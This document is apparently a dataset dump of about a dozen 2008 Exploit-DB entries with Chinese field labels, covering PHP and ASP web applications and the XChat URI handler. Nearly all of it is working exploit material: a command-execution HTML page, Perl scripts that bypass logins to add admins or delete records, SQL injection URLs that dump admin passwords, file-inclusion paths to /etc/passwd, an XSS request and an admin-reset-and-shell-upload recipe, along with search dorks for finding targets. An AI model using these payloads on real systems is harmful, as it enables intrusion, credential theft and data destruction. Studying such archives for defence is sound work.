QLWD/code_shield huggingface dataset:
标题: XChat 2.8.7b - 'URI Handler' Remote Code Execution (Internet Explorer 6/7) EDB-ID: 5795 CVE: 2008-2841 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-13 漏洞利用脚本: ##################################################################################################################
#
# Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
# Vendor : http://xchat.org/
# Affected Os : Windows *
# Risk : critical
#
# This bug is related to the URI Handler vulnerability but the approch is a bit different.
# We don't use any % or  ../../../ as the others related bugs, just a single "
# According to the registry , when the IRCS:// URI is called , the command launched is :
# C:\Program Files\xchat\xchat.exe --existing --url="%1"
#
# The xchat --help option tells us :
# " --command=COMMAND :Send a command to existing xchat "
#
# So we add a simple " at the end of the URL and we're in business ?
# Yep =) ircs://blabla@3.3.3.3" --command "shell calc"
#
# Note: The victim needs to be connected to an irc server , and also need IE * .
#
#
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
#
# Poc: this only launch the calc, sky is the limit passed this point.
<html>
<head><title>Welcome to my personal website</title></head>
<body>
<script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script>
</body>
</html>

# milw0rm.com [2008-06-13] URL: https://www.exploit-db.com/exploits/5795
标题: WebChamado 1.1 - Arbitrary Add Admin EDB-ID: 5798 CVE: 2008-2907 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-13 漏洞利用脚本: #!/usr/bin/perl
#============================================
# WebChamado 1.1 Arbitrary Add Admin Exploit
#============================================
#
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
#  `+---------------------------^----------|
#    `\_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `\   /
#    / XXXXXX /\______(
#   / XXXXXX /           
#  / XXXXXX /
# (________(             
#  `------'
#
#AUTHOR : CWH Underground
#DATE : 12 June 2008
#SITE : www.citec.us
#
#
#####################################################
#APPLICATION : WebChamado
#VERSION     : 1.1
#DOWNLOAD    : http://downloads.sourceforge.net/webchamado
######################################################
#
#Note: magic_quotes_gpc = off
#
#This Exploit will Add user to administrator's privilege and you will get password from email..



use LWP;
use HTTP::Request;
use HTTP::Cookies;

if ($#ARGV + 1 != 3)
{
   print "\n==============================================\n";
   print "  WebChamado 1.1 Arbitrary Add Admin Exploit  \n";
   print "                                              \n";
   print "        Discovered By CWH Underground         \n";
   print "==============================================\n";
   print "                                              \n";
   print "                                              \n"; 
   print "Usage: ./xpl-webchamado.pl <WebChamado URL> <user> <email>\n";
   print "Ex. ./xpl-webchamado.pl http://www.target.com/WebChamado/ cwhunderground cwh\@cwh.com\n";
   exit();
}

$cmsurl = $ARGV[0];
$user = $ARGV[1];
$mail = $ARGV[2];


$loginurl = $cmsurl."admin/index.php";
$adduserurl = $cmsurl."admin/corpo.php?menuadmin_responsavel=S&rsp_tipusr=U";
$post_content = "rsp_tipusr=U&rsp_nome=".$user."&rsp_codund=01&rsp_coddep=31&rsp_codfun=46&rsp_eml=".$mail."&rsp_adm=1&rsp_mst=S&rsp_btnresponsavel=Confirmar";

print "\n..::Login Page URL::..\n";
print "$loginurl\n";
print "\n..::Add User Page URL::..\n";
print "$adduserurl\n\n";

$ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);

$request = HTTP::Request->new (POST => $loginurl);
$request->header (Accept-Charset => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
$request->content_type ('application/x-www-form-urlencoded');
$request->content ('eml=\') or 1=1/*&pas=masteradm&btn=Enviar');

$response = $ua->request($request);

$content = $response->content;

if ($content =~ /index_ok/)
{
   print "Login Success !!!\n\n";
}
else
{
   print "Login Failed !!!\n\n";
   exit();
}

$request = HTTP::Request->new (POST => $adduserurl);
$request->content_type ('application/x-www-form-urlencoded');
$request->content ($post_content);
$response = $ua->request($request);

$content = $response->content;

if ($content =~ /$user.*ADM.*$mail/)
{
   print "Exploit Completed !!!\n";
}
else
{
   print "Exploit Failed !!!\n";
}

# milw0rm.com [2008-06-13] URL: https://www.exploit-db.com/exploits/5798
标题: eFiction 3.0 - 'toplists.php' SQL Injection EDB-ID: 5785 CVE: 2008-2754 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-11 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## rEm0te SQL InjEcti0n VulnErability
##
## eFiction 3.0 (( toplists.php list ))
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
########################
########################
##
## Script Name : eFiction 3.0
##
## Download : www.efiction.hugosnebula.com
##
########################
########################
##    
## d0rk ::    allinurl: "toplists.php?list"
##
##   
## -(:: SQL ::)-
##    www.Site.com/toplists.php?list=(SQL)
##            1'+union+select+1,2,current_user,4,5,6,7,8/*                    
##
########################
##
## -(:: L!ve Demo ::)-
##            http://efiction.hugosnebula.com/preview/toplists.php?list=1'+and+1=0+union+select+1,2,current_user,4,5,6,7,8/*
##
########################
########################
######################################################################################################
######################################################################################################
                                   -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
:: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
######################################################################################################
######################################################################################################

# milw0rm.com [2008-06-11] URL: https://www.exploit-db.com/exploits/5785
标题: Gravity Board X 2.0 Beta - SQL Injection / Cross-Site Scripting EDB-ID: 5791 CVE: 2009-1277 2008-2997 2008-2996 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-12 漏洞利用脚本: ====================================================================
 Gravity Board X 2.0 Beta (SQL/XSS) Multiple Remote Vulnerabilities
====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE : 12 June 2008
SITE : www.citec.us


#####################################################
APPLICATION : Gravity Board X
VERSION     : 2.0 Beta
DOWNLOAD    : http://downloads.sourceforge.net/gbx
#####################################################

+++ Remote Stored XSS Exploit +++

    When you create new thread in forum, you can inject javascript in title field.

-----
 POC
-----

[+]POST http://192.168.0.4/gbx/index.php?action=postnewsubmit&board_id=1 HTTP/1.1
[+]Host: 192.168.0.4
[+]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+]Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+]Accept-Language: en-us,en;q=0.5
[+]Accept-Encoding: gzip,deflate
[+]Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+]Keep-Alive: 300
[+]Connection: keep-alive
[+]Referer: http://127.0.0.1/gbx/index.php?action=postnew&board_id=1
[+]Cookie: PHPSESSID=507c211a3be817f7e7fcf51b3886665a
[+]Content-Type: application/x-www-form-urlencoded
[+]Content-Length: 128
[+]subject=POC+%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E&FCKeditorContents=POC+XSS+Thread&formsent=&board_id=1&submit=Post

+++ Remote SQL Injection Exploit +++

** magic_quotes_gpc = Off **

-------------
 POC Exploit
-------------

[+]http://[target]/[gbx_path]/index.php?action=getsearch&orderby=dateposted&searchquery=')/**/union/**/select/**/pw/**/from/**/gbx_members/**/where/**/memberid=1/*&byuser=&searchin=submess
[+]http://[target]/[gbx_path]/index.php?action=viewboard&board_id=1'/**/union/**/select/**/1,pw,3/**/from/**/gbx_members/*

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-12] URL: https://www.exploit-db.com/exploits/5791
标题: TNT Forum 0.9.4 - Local File Inclusion EDB-ID: 5782 CVE: 2008-5265 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: ======================================================
 TNT Forum 0.9.4 Local File Inclusion Vulnerabilities
======================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 10 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : TNT Forum
 VERSION     : 0.9.4
 DOWNLOAD    : download.tntforum.tuttoeniente.net
#####################################################

---LFI---

#################################################################
Vulnerable in index.php:

   137: //Variabili generali
   138: $modulo = @$_GET['modulo'];
   139: $modfile = 'mod_'.$modulo.'.php';
#################################################################

Exploit:

[+] For Windows
http://[Target]/[tntforum_path]/index.php?modulo=../../../../../../../../boot.ini%00

[+] For Linux
http://localhost/tntforum/index.php?modulo=../../../../../../../../etc/passwd%00


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5782
标题: Yuhhu 2008 SuperStar - 'board' SQL Injection EDB-ID: 5783 CVE: 2008-5270 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: <?php
/*
Coded By RMx
Yuhhu 2008 SuperStar Sql injection exploit...
BiyoSecurity.Com & Coderx.org
Thanx : Liz0zim & Cr@zy_King
*/
set_time_limit(0);
error_reporting(E_ALL);
function yolla($site,$liz0zim){
global $veri;$exploit = fsockopen(gethostbyname($site),"80");
if(!$exploit){die("BaÄŸlantÄ± saÄŸlanamadÄ±...");
}else{fputs($exploit,$liz0zim);}
while(!feof($exploit)) {
$veri .=fgets($exploit);}
fclose($exploit);
return $veri;}
$site = "elmayra.com";
$path = "/forums/";
$rmx =  "GET
".$path."view.topics.php?board='+union+select+0,concat(0x6B,0x75,0x6C,0x6C,0x61,0x6E,0x69,0x63,0x69,0x3A,0x20,admin_username,0x3a,0x73,0x69,0x66,0x72,0x65,0x3A,0x20,admin_password,0x20,0x61,0x64,0x6D,0x69,0x6E,0x20,0x74,0x69,0x70,0x69,0x3A,0x20,admin_type,0x61,0x64,0x6D,0x69,0x6E,0x20,0x69,0x64,0x3A,admin_id),1,2%20from%20joovili_admins/*
HTTP/1.1\r\n";
$rmx .= "Host: $site\r\n";
//$rmx .= "Content-Type: application/x-www-form-urlencoded\r\n";
$rmx .= "Content-Type: text/plain\r\n";
$rmx .= "Connection: Close\r\n\r\n";
$tuttum=yolla("$site","$rmx");
$ara="#class=\"linkbeyaz\">(.*)</a></td>#";
$bul=preg_match($ara,$tuttum,$rmx);
$huseyin=str_replace("class=\"linkbeyaz\">","",$rmx);
echo $site."<br>";
echo $huseyin[0];
?>

author : Dj Remix 

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5783
标题: Experts 1.0.0 - 'answer.php' SQL Injection EDB-ID: 5776 CVE: 2008-5267 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: =========================================================
 Experts (answer.php) Remote SQL Injection Vulnerability
=========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 10 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Experts
 VERSION     : 1.0.0
 DOWNLOAD    : http://downloads.sourceforge.net/experts
#####################################################

---SQL Injection Exploit---

***magic_quotes_gpc = off***

##################################################################################
Line:
   67: $con= "SELECT question_text, question_expert, question_category, question_closed,  
   68: TIME_TO_SEC(TIMEDIFF(NOW(),question_date)) AS seconds_ago, 
   69: user_login, user_id, category_name, expert_login   
   70: FROM question 
   71: INNER JOIN (user,category, expert) 
   72: ON (question_user=user_id 
   73: AND question_category=category_id AND question_expert=expert_id ) 
   74: WHERE question_id=".$question_id;
   75: //echo $con."<br>";
   76: $fai_con=mysql_query($con) or die(mysql_error());
##################################################################################

EXPLOIT:

http://[Target]/[experts_path]/answer.php?question_id=41 AND 1=2 UNION SELECT concat(administrator_login,0x3a,administrator_password),2,3,4,5,6,7,8,9 FROM administrator


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5776
标题: ASP Download 1.03 - Arbitrary Change Administrator Account EDB-ID: 5780 CVE: 2008-6739 类型: WEBAPPS 平台: ASP 发布日期: 2008-06-10 漏洞利用脚本: \  ASPDownload v 1.03 Remote Admin Bypass Exploit   /
                                     \                                                 /
                                      \_______________________________________________/



[+] Author      : Underz0ne Crew
[+] Script      : ASPDownload v 1.03
[+] Risk        : High
[+] Script URL  : http://www.toddwoolums.com/aspdownload.asp
[+] Dork        : Powered by AspDownload

--//--> Exploit Area :

[+] Description : The problem is that the script's owner doesnt request a Login page for the DANGEROUS file setupdownload.asp where we can RESET the admin's 
access and change the admin's informations for whatever we want !

[+] How to Exploit :

1) Go to : http://dork.cc/PathToScript/setupdownload.asp
2) Change the Info's
3) Login with the new informations in default.asp page
4) Upload an ASP shell from the upload.asp page

So simple!


[+] Greetz : stack , Bl@ckbe@rD , Djekmani , HouSSamiX  

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5780
标题: ErfurtWiki R1.02b - Local File Inclusion EDB-ID: 5771 CVE: 2008-2672 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: ErfurtWiki <= R1.02b (css) Local File Inclusion Vulnerability

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: ErfurtWiki

Download ====:: http://erfurtwiki.sourceforge.net/downloads/ewiki-R1.02b.tgz

Mirror ======:: http://www.badongo.com/file/9611291

______________________
[Local File Inclusion]

- {css.php} -

http://localhost/ewiki/fragments/css.php?ewiki_id=../../../../../../../../etc/passwd%00&ewiki_action=1

http://localhost/ewiki/?id=../../../../../../../../../../../../etc/passwd%00

http://localhost/ewiki/fragments/css.php?ewiki_id=1&ewiki_action=../../../../../../../../etc/passwd%00

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5771
标题: Todd Woolums ASP News Management 2.2 - SQL Injection EDB-ID: 5781 CVE: 2008-5274 2008-5273 类型: WEBAPPS 平台: ASP 发布日期: 2008-06-10 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

[+] Script Name    : AspNews Remote SQL Injection Exploit

|+| Team           : InjEct0r5

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT') ;

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

--//-->

[+] Expl0iT :

/aspnews/viewnews.asp?newsID={SQL}

{SQL} -->  8+union+select+name+from+msysobjects

Or blind it :

{SQL} -->  IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'Bingo')%00

--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5781
标题: ASPPortal Free Version - 'Topic_Id' SQL Injection EDB-ID: 5775 CVE: 2008-5268 类型: WEBAPPS 平台: ASP 发布日期: 2008-06-10 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+         ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability       +==--
--==+====================================================================================+==--
                          - dreaming of necessity is reason to comply -


[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version
[~] HomePage: http://www.aspportal.net/
[~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by  www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

    // -------------------------------------- //

line 2:    <%
 Dim TopicID
 Dim ForumID
 
 TopicID = Server.HTMLEncode(request("Topic_id"))
 ForumID = Server.HTMLEncode(request("Forum_ID"))
%>
<% 
'sub db_select_detail_Disc_Topics
 sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID, Forums_Topics.Author, Forums_Topics.Topic_Subject, Forums_Topics.Topic_Message, Forums_Topics.IsActive, Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By, Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon, users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " & to_sql(TopicID,"number") & ""
                      
 'response.write sql 
 
 set rs = cn.Execute(sql)

line 21:  TopicId = rs("Topic_Id")

    // -------------------------------------- //

[~] http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&Topic_Id=[SQL]
[~] 6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+users


[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx; you_know; shh-32; nettoxic; phnx; murder; and more...

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5775
标题: Telephone Directory 2008 - Arbitrary Delete Contact EDB-ID: 5769 CVE: 2008-7180 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-09 漏洞利用脚本: #!/usr/bin/perl -w
# Telephone Directory 2008 <=  Arbitrary Delete Contact
########################################
#[*] Founded &  Exploited by : Stack
#[*] Contact: Ev!L =>> see down
#[*] Greetz : Houssamix & Djekmani & Jadi &  iuoisn & hak3r-b0y All muslims HaCkeRs  :)
#[*]  Special Thnx To : Simo64  L3azzzzzz khouya
########################################
#----------------------------------------------------------------------------#
########################################
# * TITLE:          PerlSploit Class
# * REQUIREMENTS:   PHP 4 / PHP 5
# * VERSION:        v.1
# * LICENSE:        GNU General Public License
# * ORIGINAL URL:   http://www.v4-Team/v4.txt
# * FILENAME:       PerlSploitClass.pl
# *
# * CONTACT:        Wanted  (french / english / arabic / moroco Darija :d )
# * THNX : AllaH
# * GREETZ:         Houssamix & Djekmani
########################################
#----------------------------------------------------------------------------#
########################################
system("color f");
print "\t\t############################################################\n\n";
print "\t\t#   Telephone Directory 2008 <=  Arbitrary Delete Contact  #\n\n";
print "\t\t#                          by Stack                        #\n\n";
print "\t\t############################################################\n\n";
########################################
#----------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
print "\n[!] ContactID : ";
chomp(my $id=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "/del_query1.php?id=".$id."";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /Contact(.*?)<br>/){
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Contact$1\n";}
  else{print "\n[-] Exploit Failed...\n";}
  
########################################
#-------------------         Exploit exploited by Stack       --------------------#
########################################

# milw0rm.com [2008-06-09] URL: https://www.exploit-db.com/exploits/5769